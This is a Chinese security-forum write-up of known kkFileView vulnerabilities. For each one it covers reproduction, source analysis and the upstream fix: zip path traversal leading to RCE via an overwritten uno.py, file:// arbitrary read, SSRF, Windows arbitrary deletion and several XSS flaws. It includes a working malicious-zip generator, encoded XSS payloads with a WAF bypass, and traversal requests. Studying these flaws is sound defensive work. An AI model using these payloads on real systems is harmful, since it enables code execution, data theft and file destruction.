奇安信攻防社区-kkFileView历史漏洞总结

kkFileView历史漏洞总结

kkFileView历史漏洞总结，方便归类学习&渗透测试中利用

简介
==

<https://github.com/kekingcn/kkFileView>

kkFileView为文件文档在线预览解决方案，该项目使用流行的spring boot搭建，易上手和部署，基本支持主流办公文档的在线预览，如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等

环境搭建
====

以v3.6.0环境搭建为例

首先从dockerhub下载官方docker镜像

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f02ebcc5bb20387833e595f49b9727ed394b2224.png)

pull下来后执行

```sh
docker run -p 8012:8012 -p 5005:5005 -it --entrypoint /bin/bash  keking/kkfileview:v3.6.0
```

然后手动开启远程调试，至于其他参数可以参考官方镜像的entrypoint

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2d0696104f45cebc09bb2b1391d8692778645851.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-983805c20ebc01799abb96c0f7e22e3ea9909651.png)

然后在github拉取源码

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5c0904d62d015e800f3387a18f5e1b3598bed651.png)

然后丢进IDEA，在配置中添加JVM远程调试，模块选择kkFileView

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b143e5d486a418465389cb1e66614491f10174b8.png)

然后正常下断点调试即可

漏洞分析和利用
=======

任意文件写入导致RCE
-----------

4.2.0 &lt;= kkFileviw &lt;= 4.4.0beta（最新分支不受影响）

可以任意文件上传，并且可以追加文件内容。

kkFileView在使用odt转pdf时会调用系统的Libreoffice，而此进程会调用库中的uno.py文件，因此可以覆盖该py文件的内容，从而在处理odt文件时会执行uno.py中的恶意代码。

### 复现

这里官方的docker库中没看到符合的版本，这里就用vulhub的docker复现了，p牛yyds

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-dc2c022be1659b8c9717f7d966a2ba2df902622c.png)  
根据这个项目可以快速复现

<https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC>

首先制作一个恶意zip

```python
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'ph0ebus'
        binary2 = b'import os\r\nos.system(\'touch /tmp/ph0ebus\')'
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e
```

上传zip并预览，需要注意的是url的问题，由于这里在本地虚拟机跑的，docker容器访问不到192.168.182.1/24的段，于是默认的预览会连接超时，可以重新设置相关环境变量的url，也可以手动改一下参数值

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ba3c2d0297a776e3f4e65301f061eabd3cd7bbf7.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-544c596574e3ad5947afde32d2583d218473019b.png)

进容器查看一下uno.py的文件内容，可以看到文件末尾追加了恶意代码

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e98c55132fa7d08c5fd63a1b17221dab4ae5220f.png)

然后随便在office创建一个odt文件

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-bab7be354b4ef0c8fe260d73ee4f63d34cf278d1.png)

上传并预览

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1793e169e4ead8f256330b8614f97a06537cfb3a.png)

成功触发格式转换，并执行uno.py的恶意代码，创建了指定文件

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1dcf3a64d5f5d0da01fd593263766cb4b004f2d0.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6690dcd380db2b1196d7e718bf5c600d50661af8.png)

### 分析

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f97900334a3179b557dffdd61e39b8a69237735d.png)

跟进`cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle`

```java
@Override
public String filePreviewHandle(String url, Model model, FileAttribute fileAttribute) {
    String fileName=fileAttribute.getName();
    String filePassword = fileAttribute.getFilePassword();
    boolean forceUpdatedCache=fileAttribute.forceUpdatedCache();
    String fileTree = null;
    // 判断文件名是否存在(redis缓存读取)
    if (forceUpdatedCache || !StringUtils.hasText(fileHandlerService.getConvertedFile(fileName))  || !ConfigConstants.isCacheEnabled()) {
        ReturnResponse response = DownloadUtils.downLoad(fileAttribute, fileName);
        if (response.isFailure()) {
            return otherFilePreview.notSupportedFile(model, fileAttribute, response.getMsg());
        }
        String filePath = response.getContent();
        try {
            fileTree = compressFileReader.unRar(filePath, filePassword,fileName);
        } catch (Exception e) {
            Throwable[] throwableArray = ExceptionUtils.getThrowables(e);
            for (Throwable throwable : throwableArray) {
                if (throwable instanceof IOException || throwable instanceof EncryptedDocumentException) {
                    if (e.getMessage().toLowerCase().contains(Rar_PASSWORD_MSG)) {
                        model.addAttribute("needFilePassword", true);
                        return EXEL_FILE_PREVIEW_PAGE;
                    }
                }
            }
        }
        if (!ObjectUtils.isEmpty(fileTree)) {
            //是否保留压缩包源文件
            if (ConfigConstants.getDeleteSourceFile()) {
                KkFileUtils.deleteFileByPath(filePath);
            }
            if (ConfigConstants.isCacheEnabled()) {
                // 加入缓存
                fileHandlerService.addConvertedFile(fileName, fileTree);
            }
        }else {
            return otherFilePreview.notSupportedFile(model, fileAttribute, "压缩文件密码错误! 压缩文件损坏!  压缩文件类型不受支持!");
        }
    } else {
        fileTree = fileHandlerService.getConvertedFile(fileName);
    }
    model.addAttribute("fileName", fileName);
    model.addAttribute("fileTree", fileTree);
    return COMPRESS_FILE_PREVIEW_PAGE;
}
```

这里会下载demo文件下的poc.zip，然后在`cn.keking.service.CompressFileReader#unRar`执行解压操作

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-759e133f11027f695a3e16aad268159799b38a77.png)

这里在释放压缩包的文件时将被压缩的文件直接与路径进行拼接并将内容写入到对应路径下，由于未对此进行过滤造成了任意文件写入

### 修复

漏洞在4.4.0-beta最新版被修复

<https://github.com/kekingcn/kkFileView/commit/421a2760d58ccaba4426b5e104938ca06cc49778>

重构了解压逻辑，并加入了路径验证的函数

```java
private Path getFilePathInsideArchive(ISimpleInArchiveItem item, Path folderPath) throws SevenZipException, UnsupportedEncodingException {
    String insideFileName = RarUtils.getUtf8String(item.getPath());
    if (RarUtils.isMessyCode(insideFileName)) {
        insideFileName = new String(item.getPath().getBytes(StandardCharsets.ISO_8859_1), "gbk");
    }

// 正规化路径并验证是否安全
    Path normalizedPath = folderPath.resolve(insideFileName).normalize();
    if (!normalizedPath.startsWith(folderPath)) {
        throw new SecurityException("Unsafe path detected: " + insideFileName);
    }

try {
        Files.createDirectories(normalizedPath.getParent());
    } catch (IOException e) {
        throw new RuntimeException("Failed to create directory: " + normalizedPath.getParent(), e);
    }
    return normalizedPath;
}
```

限制了释放后的文件只能在当前目录下

任意文件读取
------

kkFileView &lt;= v3.6.0，&lt;= 4.0.0

### 复现

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8344937150b832e55825ac012d77008c274d3647.png)

### 分析

查看源码，路由内容如下

```java
/**
 * 根据url获取文件内容
 * 当pdfjs读取存在跨域问题的文件时将通过此接口读取
 *
 * @param urlPath  url
 * @param response response
 */
@RequestMapping(value = "/getCorsFile", method = RequestMethod.GET)
public void getCorsFile(String urlPath, HttpServletResponse response) {
    logger.info("下载跨域pdf文件url：{}", urlPath);
    try {
        URL url = WebUtils.normalizedURL(urlPath);
        byte[] bytes = NetUtil.downloadBytes(url.toString());
        IOUtils.write(bytes, response.getOutputStream());
    } catch (IOException | GalimatiasParseException e) {
        logger.error("下载跨域pdf文件异常，url：{}", urlPath, e);
    }
}
```

可以看到是一个跨域文件读取的接口，但没有对这里的urlPath做限制，由于支持file协议导致了非预期的本地文件读取

在WebUtils类处理后，传入的file协议字符串解析为`galimatias` 库的 `URL`对象，然后通过toJavaURL方法转换为了java原生的URL对象

```php
public static URL normalizedURL(String urlStr) throws GalimatiasParseException, MalformedURLException {
    return io.mola.galimatias.URL.parse(urlStr).toJavaURL();
}
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-81d0df180b8885f4a58cd6fe47fc608b9842894c.png)

接着通过`jodd.io.NetUtil#downloadBytes`根据URL对象读取字节流

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b16097915a94ee557824520caa9466ac0d2e66fc.png)

最后通过`fr.opensagres.xdocreport.core.io.IOUtils#write`方法写入到response中回显

### 修复

v4.1.0版本中修复后的代码如下

```java
/**
 * 根据url获取文件内容
 * 当pdfjs读取存在跨域问题的文件时将通过此接口读取
 *
 * @param urlPath  url
 * @param response response
 */
@GetMapping("/getCorsFile")
public void getCorsFile(String urlPath, HttpServletResponse response) throws IOException {
    if (urlPath == null || urlPath.length() == 0){
        logger.info("URL异常：{}", urlPath);
        response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        response.setHeader("Content-Type", "text/html; charset=UTF-8");
        response.getWriter().println("NULL地址不允许预览");
        return;
    }
    try {
        urlPath = WebUtils.decodeUrl(urlPath);
    } catch (Exception ex) {
        logger.error(String.format(BASE64_DECODE_ERROR_MSG, urlPath),ex);
        return;
    }
    HttpURLConnection urlcon;
    InputStream inputStream = null;
    if (urlPath.toLowerCase().startsWith("file:") || urlPath.toLowerCase().startsWith("file%3")) {
        logger.info("读取跨域文件异常，可能存在非法访问，urlPath：{}", urlPath);
        return;
    }
    logger.info("下载跨域pdf文件url：{}", urlPath);
    if (!urlPath.toLowerCase().startsWith("ftp:")){
        try {
            URL url = WebUtils.normalizedURL(urlPath);
            urlcon=(HttpURLConnection)url.openConnection();
            urlcon.setConnectTimeout(30000);
            urlcon.setReadTimeout(30000);
            urlcon.setInstanceFollowRedirects(false);
            if (urlcon.getResponseCode() == 302 || urlcon.getResponseCode() == 301) {
                urlcon.disconnect();
                url =new URL(urlcon.getHeaderField("Location"));
                urlcon=(HttpURLConnection)url.openConnection();
            }
            if (urlcon.getResponseCode() == 404 || urlcon.getResponseCode() == 403 || urlcon.getResponseCode() == 500 ) {
                logger.error("读取跨域文件异常，url：{}", urlPath);
                return ;
            } else {
                if(urlPath.contains( ".svg")) {
                    response.setContentType("image/svg+xml");
                }
                inputStream=(url).openStream();
                IOUtils.copy(inputStream, response.getOutputStream());
                urlcon.disconnect();
            }
        } catch (IOException | GalimatiasParseException e) {
            logger.error("读取跨域文件异常，url：{}", urlPath);
            return ;
        } finally {
            IOUtils.closeQuietly(inputStream);
        }
    } else {
        try {
            URL url = WebUtils.normalizedURL(urlPath);
            if(urlPath.contains(".svg")) {
                response.setContentType("image/svg+xml");
            }
            inputStream = (url).openStream();
            IOUtils.copy(inputStream, response.getOutputStream());
        } catch (IOException | GalimatiasParseException e) {
            logger.error("读取跨域文件异常，url：{}", urlPath);
            return ;
        } finally {
            IOUtils.closeQuietly(inputStream);
        }
    }
}
```

在`cn.keking.utils.WebUtils#decodeUrl`方法进行一次base64解码

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4828cc17decafa584e13c4d0a7050e16dd3e7d80.png)

虽然我们可以通过`url:`前缀绕过这里的if判断

```java
if (urlPath.toLowerCase().startsWith("file:") || urlPath.toLowerCase().startsWith("file%3")) {
    logger.info("读取跨域文件异常，可能存在非法访问，urlPath：{}", urlPath);
    return;
}
```

但是后面的逻辑是将`java.net.URLConnection`类型转换为`java.net.HttpURLConnection`，而file协议不支持这个类型转换会报错

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d688fb89f0f95c8d0fb6f8d4e9faad8256325db1.png)

如果能在`URL url = WebUtils.normalizedURL(urlPath);`处理之后将`ftp:`开头的urlPath，最后通过某种处理造成的差异转换为file协议，即可在else部分调用`java.net.URL#openStream`成功绕过，但目前只是一个想法，实际并未发现这样的差异

而像gopher等协议，属于是`galimatias` 库的 `URL`类支持该协议而 Java8 原生的URL类不认得（在jdk8版本以后被阉割了，jdk7高版本虽然存在，但是需要设置）

[https://bugzilla.redhat.com/show\_bug.cgi?id=865541](https://bugzilla.redhat.com/show_bug.cgi?id=865541)

SSRF
----

kkFileView &lt;= v3.6.0, &lt;= v4.4.0-beta

### 复现

kkFileView &lt;= 3.6.0, &lt;= 4.0.0

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fd3ee817e5e0703c3759cdc888acda8dace36136.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c63ac2cb1fc4bd4dd9d502fa6db1945a4414f704.png)

4.1.0 &lt;= kkFileView &lt;= 4.4.0-beta

```php
/getCorsFile?urlPath=aHR0cHM6Ly93d3cuYmFpZHUuY29tLw==
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-31fd9e1609bab6fb686310dd04ab1b5cd20d4661.png)

### 分析

根据上面的分析也很容易理解为什么存在SSRF，4.1.0在修复任意文件读取漏洞的时候只对file协议做了一定过滤，而HTTP协议和HTTPS协议并未受影响

### 修复

经过尝试4.4.0-beta也是能SSRF的，

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1984ed14d7b1c1dcf7170b345e58131e6474b676.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a1487d4f0e6dd4efd05ef043f6f061c49d19c0ed.png)

但是官方给的预览网站无法成功，估计是某个配置项可以配置

<https://github.com/kekingcn/kkFileView/issues/392>

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-167fc2726a573231d2f5ed5c0c7409191c855906.png)

比如这个可以限制允许预览的本地文件夹

<https://github.com/kekingcn/kkFileView/pull/309/commits/9d65c999e5e7a98f9e68f76757977fefa13b72ac>

任意文件删除
------

kkFileView == v4.0.0 （仅在windows环境下成功）

### 复现

创建一个目录用于存放上传的文件，并在配置项中指定这个目录

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fb2aaa515f6a4c1373ef86812505faa9e8b9ab92.png)

创建在目录下创建一个poc.txt用于检验目录成功穿越（正常只能删除demo目录下的文件）

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-31c9e6376f342746bf767c9b8b9f4516c190bdd5.png)

然后GET请求`/deleteFile?fileName=demo%2F..\poc.txt`

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-87f9225e7254221c9206e1b58999bafa5eb524d5.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b01c58cc1514bee1736a2815fad9b4dd61a99432.png)

可以看到文件成功被删除

### 分析

非常简单的锁定路由

```java
@RequestMapping(value = "deleteFile", method = RequestMethod.GET)
public String deleteFile(String fileName) throws JsonProcessingException {
    if (fileName.contains("/")) {
        fileName = fileName.substring(fileName.lastIndexOf("/") + 1);
    }
    File file = new File(fileDir + demoPath + fileName);
    logger.info("删除文件：{}", file.getAbsolutePath());
    if (file.exists() &amp;&amp; !file.delete()) {
        logger.error("删除文件【{}】失败，请检查目录权限！",file.getPath());
    }
    return new ObjectMapper().writeValueAsString(ReturnResponse.success());
}
```

可以看到首先会对传入的fileName参数进行处理，只保留最后一个`/`后的内容，但Windows支持`\`路径分隔符，于是可以利用`..\`目录穿越，从而达到任意文件删除的危害

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9148e529a39a044de005cb5f906a01073a0e0961.png)

### 修复

在v4.1.0的代码中加入了黑名单过滤

```java
@GetMapping("/deleteFile")
public ReturnResponse deleteFile(String fileName) {
    if (fileName == null || fileName.length() == 0) {
        return ReturnResponse.failure("文件名为空，删除失败！");
    }
    try {
        fileName = URLDecoder.decode(fileName, StandardCharsets.UTF_8.name());
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    if (fileName.contains("/")) {
        fileName = fileName.substring(fileName.lastIndexOf("/") + 1);
    }
    if (KkFileUtils.isIllegalFileName(fileName)) {
        return ReturnResponse.failure("非法文件名，删除失败！");
    }
    File file = new File(fileDir + demoPath + fileName);
    logger.info("删除文件：{}", file.getAbsolutePath());
    if (file.exists() &amp;&amp; !file.delete()) {
        String msg = String.format("删除文件【%s】失败，请检查目录权限！", file.getPath());
        logger.error(msg);
        return ReturnResponse.failure(msg);
    }
    return ReturnResponse.success();
}
```

```java
private static final List illegalFileStrList = new ArrayList&lt;&gt;();

static {
    illegalFileStrList.add("../");
    illegalFileStrList.add("./");
    illegalFileStrList.add("..\\");
    illegalFileStrList.add(".\\");
    illegalFileStrList.add("\\..");
    illegalFileStrList.add("\\.");
    illegalFileStrList.add("..");
    illegalFileStrList.add("...");
}

// 省略中间的代码

/**
 * 检查文件名是否合规
 * @param fileName 文件名
 * @return 合规结果,true:不合规，false:合规
 */
public static boolean isIllegalFileName(String fileName){
    for (String str: illegalFileStrList){
        if(fileName.contains(str)){
            return true;
        }
    }
    return false;
}
```

过滤的还是非常严格的，直接给堵死了

XSS
---

/picturesPreview kkFileView &lt;= 4.1.0

/onlinePreview kkFileView &lt;= 4.1.0

### 复现

第一处

```php
/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-04287b731e5a6bedf4809d24499e1122f7285247.png)

第二处

```php
/picturesPreview?urls=&amp;currentUrl=Iik7YWxlcnQoIjExMQ==
```

绕过了个WAF，记录一下

```php
/picturesPreview?urls=&amp;currentUrl=PC9wPjwvc3Bhbj48L3N0eWxlICYjMzI7PjxzY3JpcHQgJiMzMjsgOi0oPi8qKi9hbGVydCg3NzYpLyoqLzwvc2NyaXB0ICYjMzI7IDotKDxzcGFuPjxwPg%3d%3d
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-99254e2d9bd882336802363ae6c57275c2325780.png)

第三处

```php
/onlinePreview?url=aHR0cDovLyI%2BPHN2Zy9vbmxvYWQ9IndpbmRvdy5vbmVycm9yPWV2YWw7dGhyb3cnPWFsZXJ0XHgyODFceDI5JzsiPi90ZXN0LnBuZw%3D%3D
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-af341282a741870062f3f5942e323a2aa3be043a.png)

### 分析

/picturesPreview

可以看到这里将传入的urls进行base64解码后添加到了model中

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-539a2762768485e7c6769f620ecfa1e070e04347.png)

而全局用了freemarker模板渲染，未经处理直接拼接到了html中

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-39c4ebbce479815f851bff05f8e406adba539c9f.png)

很明显存在XSS缺陷。currentUrl也是类似这样，可以拼接像`");alert("111`一样闭合，从而执行任意js代码

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4de3f6fc636c84457682adb7be28535d3cd634e5.png)

/onlinePreview

这个稍微复杂一点，没那么明显

```java
@GetMapping( "/onlinePreview")
public String onlinePreview(String url, Model model, HttpServletRequest req) {
    if (url == null || url.length() == 0){
        logger.info("URL异常：{}", url);
        return otherFilePreview.notSupportedFile(model, "NULL地址不允许预览");
    }
    String fileUrl;
    try {
        fileUrl = WebUtils.decodeUrl(url);
    } catch (Exception ex) {
        String errorMsg = String.format(BASE64_DECODE_ERROR_MSG, "url");
        return otherFilePreview.notSupportedFile(model, errorMsg);
    }
    FileAttribute fileAttribute = fileHandlerService.getFileAttribute(fileUrl, req);
    model.addAttribute("file", fileAttribute);
    FilePreview filePreview = previewFactory.get(fileAttribute);
    logger.info("预览文件url：{}，previewType：{}", fileUrl, fileAttribute.getType());
    return filePreview.filePreviewHandle(fileUrl, model, fileAttribute);
}
```

首先对传入的参数url进行Base64解码，然后跟进`cn.keking.service.FileHandlerService#getFileAttribute`方法，这里这个方法并不是漏洞点，只需要让传入的参数不会报错提前退出就行

```java
/**
 * 获取文件属性
 *
 * @param url url
 * @return 文件属性
 */
public FileAttribute getFileAttribute(String url, HttpServletRequest req) {
    FileAttribute attribute = new FileAttribute();
    String suffix;
    FileType type;
    String fileName;
    String fullFileName = WebUtils.getUrlParameterReg(url, "fullfilename");
    if (StringUtils.hasText(fullFileName)) {
        fileName = fullFileName;
        type = FileType.typeFromFileName(fullFileName);
        suffix = KkFileUtils.suffixFromFileName(fullFileName);
    } else {
        fileName = WebUtils.getFileNameFromURL(url);
        type = FileType.typeFromUrl(url);
        suffix = WebUtils.suffixFromUrl(url);
    }
    if (url.contains("?fileKey=")) {
        attribute.setSkipDownLoad(true);
    }
    attribute.setType(type);
    attribute.setName(fileName);
    attribute.setSuffix(suffix);
    url = WebUtils.encodeUrlFileName(url);
    attribute.setUrl(url);
    if (req != null) {
        String officePreviewType = req.getParameter("officePreviewType");
        String fileKey = WebUtils.getUrlParameterReg(url,"fileKey");
        if (StringUtils.hasText(officePreviewType)) {
            attribute.setOfficePreviewType(officePreviewType);
        }
        if (StringUtils.hasText(fileKey)) {
            attribute.setFileKey(fileKey);
        }

String tifPreviewType = req.getParameter("tifPreviewType");
        if (StringUtils.hasText(tifPreviewType)) {
            attribute.setTifPreviewType(tifPreviewType);
        }

String filePassword = req.getParameter("filePassword");
        if (StringUtils.hasText(filePassword)) {
            attribute.setFilePassword(filePassword);
        }

String userToken = req.getParameter("userToken");
        if (StringUtils.hasText(userToken)) {
            attribute.setUserToken(userToken);
        }
    }

return attribute;
}
```

这里报错的主要影响因素在于`WebUtils.encodeUrlFileName`这个方法的处理，于是构造一个`http://xxxxxxx/test.png`即可

```java
/**
 * 对url中的文件名进行UTF-8编码
 *
 * @param url url
 * @return 文件名编码后的url
 */
public static String encodeUrlFileName(String url) {
    String encodedFileName;
    String fullFileName = WebUtils.getUrlParameterReg(url, "fullfilename");
    if (fullFileName != null &amp;&amp; fullFileName.length() &gt; 0) {
        try {
            encodedFileName = URLEncoder.encode(fullFileName, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            return null;
        }
        String noQueryUrl = url.substring(0, url.indexOf("?"));
        String parameterStr = url.substring(url.indexOf("?"));
        parameterStr = parameterStr.replaceFirst(fullFileName, encodedFileName);
        return noQueryUrl + parameterStr;
    }
    String noQueryUrl = url.substring(0, url.contains("?") ? url.indexOf("?") : url.length());
    int fileNameStartIndex = noQueryUrl.lastIndexOf('/') + 1;
    int fileNameEndIndex = noQueryUrl.lastIndexOf('.');
    try {
        encodedFileName = URLEncoder.encode(noQueryUrl.substring(fileNameStartIndex, fileNameEndIndex), "UTF-8");
    } catch (UnsupportedEncodingException e) {
        return null;
    }
    return url.substring(0, fileNameStartIndex) + encodedFileName + url.substring(fileNameEndIndex);
}
```

回到主逻辑，`previewFactory.get(fileAttribute)`会获取得到的文件属性，并分配对应文件类型的预览处理器，这里的处理方式应该是工厂模式的设计思想

我们需要利用的预览处理和前面两处XSS漏洞一样，都是利用图片处理的模板，我们前面传入了形如`http://xxxxxxx/test.png`的值，于是可以让文件属性的类型为PICTURE

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ede374db6433c2c0394785399e5fae06b4090363.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4d91ba1006b834ee983aebfe9eb3c0ce7978e747.png)

从而使得最后交由`cn.keking.service.impl.PictureFilePreviewImpl#filePreviewHandle`进行处理

```java
@Override
public String filePreviewHandle(String url, Model model, FileAttribute fileAttribute) {
    List imgUrls = new ArrayList&lt;&gt;();
    imgUrls.add(url);
    String fileKey = fileAttribute.getFileKey();
    List zipImgUrls = fileHandlerService.getImgCache(fileKey);
    if (!CollectionUtils.isEmpty(zipImgUrls)) {
        imgUrls.addAll(zipImgUrls);
    }
    // 不是http开头，浏览器不能直接访问，需下载到本地
    if (url != null &amp;&amp; !url.toLowerCase().startsWith("http")) {
        ReturnResponse response = DownloadUtils.downLoad(fileAttribute, null);
        if (response.isFailure()) {
            return otherFilePreview.notSupportedFile(model, fileAttribute, response.getMsg());
        } else {
            String file = fileHandlerService.getRelativePath(response.getContent());
            imgUrls.clear();
            imgUrls.add(file);
            model.addAttribute("imgUrls", imgUrls);
            model.addAttribute("currentUrl", file);
        }
    } else {
        model.addAttribute("imgUrls", imgUrls);
        model.addAttribute("currentUrl", url);
    }
    return PICTURE_FILE_PREVIEW_PAGE;
}
```

这里就和前面差不多了，传入得url值不经过滤或其他处理的直接传入了模板中，导致了XSS缺陷

### 修复

v4.2.0中修复后/picturesPreview的代码为

```java
@GetMapping( "/picturesPreview")
public String picturesPreview(String urls, Model model, HttpServletRequest req) {
    String fileUrls;
    try {
        fileUrls = WebUtils.decodeUrl(urls);
        // 防止XSS攻击
        fileUrls = KkFileUtils.htmlEscape(fileUrls);
    } catch (Exception ex) {
        String errorMsg = String.format(BASE64_DECODE_ERROR_MSG, "urls");
        return otherFilePreview.notSupportedFile(model, errorMsg);
    }
    logger.info("预览文件url：{}，urls：{}", fileUrls, urls);
    // 抽取文件并返回文件列表
    String[] images = fileUrls.split("\\|");
    List imgUrls = Arrays.asList(images);
    model.addAttribute("imgUrls", imgUrls);
    String currentUrl = req.getParameter("currentUrl");
    if (StringUtils.hasText(currentUrl)) {
        String decodedCurrentUrl = new String(Base64.decodeBase64(currentUrl));
        decodedCurrentUrl = KkFileUtils.htmlEscape(decodedCurrentUrl);   // 防止XSS攻击
        model.addAttribute("currentUrl", decodedCurrentUrl);
    } else {
        model.addAttribute("currentUrl", imgUrls.get(0));
    }
    return PICTURE_FILE_PREVIEW_PAGE;
}
```

可以看到，对传入前端模板的参数都进行了HTML实体编码

/onlinePreview处的修复如下

<https://github.com/kekingcn/kkFileView/commit/8c6f5bf807b492c71e04ce10fac9fa7d93dc1895#diff-fd65fb3fec861ad352ccc6b0962eabd6e8c5daaaa7939a19624199afd4e58e29R33>

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2a78292198e06fb1f358dabfe554f19869699807.png)

也是加入了HTML实体编码

总结
==

总的来说，漏洞原理都不算太复杂，如果分析的有误，轻喷

发表于 2024-12-20 10:10:30
阅读 ( 314 )
分类：Web应用

kkFileView历史漏洞总结

0 条评论